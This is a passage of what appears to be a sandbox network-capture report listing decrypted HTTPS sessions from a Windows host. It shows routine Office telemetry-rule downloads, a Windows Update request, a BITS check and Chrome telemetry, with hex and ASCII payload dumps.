2024-11-13 13:41:19 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-13 13:41:19 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49755	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:19 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:19 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 846ef32c-001e-0017-30a7-340c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134119Z-r178fb8d7652zbm6hC1DFWqtr400000000vg00000000cm2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:19 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49757	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:19 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:19 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 2d611ff0-901e-002a-3d01-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134119Z-16547b76f7f7scqbhC1DFW0m5w0000000gyg00000000hmth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:19 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49758	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:19 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:19 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a288df0b-b01e-00ab-0601-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134119Z-16547b76f7f2g4rlhC1DFWnx880000000h5g000000006k0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:19 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49744	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5e8os9bOvel+5bK&MD=8kamYrNw HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-13 13:41:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 813fb431-ecf0-4852-a92f-450735264aa0 MS-RequestId: bd552220-ef31-45f4-84a4-45729c79975b MS-CV: lMPmWtBu40K1k9ve.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 13 Nov 2024 13:41:19 GMT Connection: close Content-Length: 24490
2024-11-13 13:41:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-13 13:41:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49763	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:20 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:20 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 87bd4a9e-701e-0021-04a0-343d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134120Z-1749fc9bdbdnkwnnhC1DFWud040000000120000000006fhk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:20 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49762	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:20 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-13 13:41:20 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=97421 Date: Wed, 13 Nov 2024 13:41:20 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49764	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:20 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:20 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 3fd26caf-a01e-0032-3d02-2d1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134120Z-16547b76f7fnlcwwhC1DFWz6gw0000000h9000000000dhbt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:20 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49767	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:20 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:20 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 32d5e889-e01e-0099-1f00-2dda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134120Z-16547b76f7ftdm8dhC1DFWs13g0000000h5000000000bhvr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:20 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49765	142.250.185.206	443	7752	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:20 UTC	714	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 912 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlKHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-13 13:41:20 UTC	912	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 35 30 35 32 37 38 32 36 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1731505278263",null,null,null,

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49769	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:20 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:20 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 215f87f6-c01e-0046-2c15-2d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134120Z-16547b76f7f4k79zhC1DFWu9y00000000h8000000000ag6a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:20 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49770	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:20 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:20 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 1b2c96e9-801e-00ac-3bad-34fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134120Z-1749fc9bdbdpg69chC1DFWhecg00000000ug00000000f8h4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
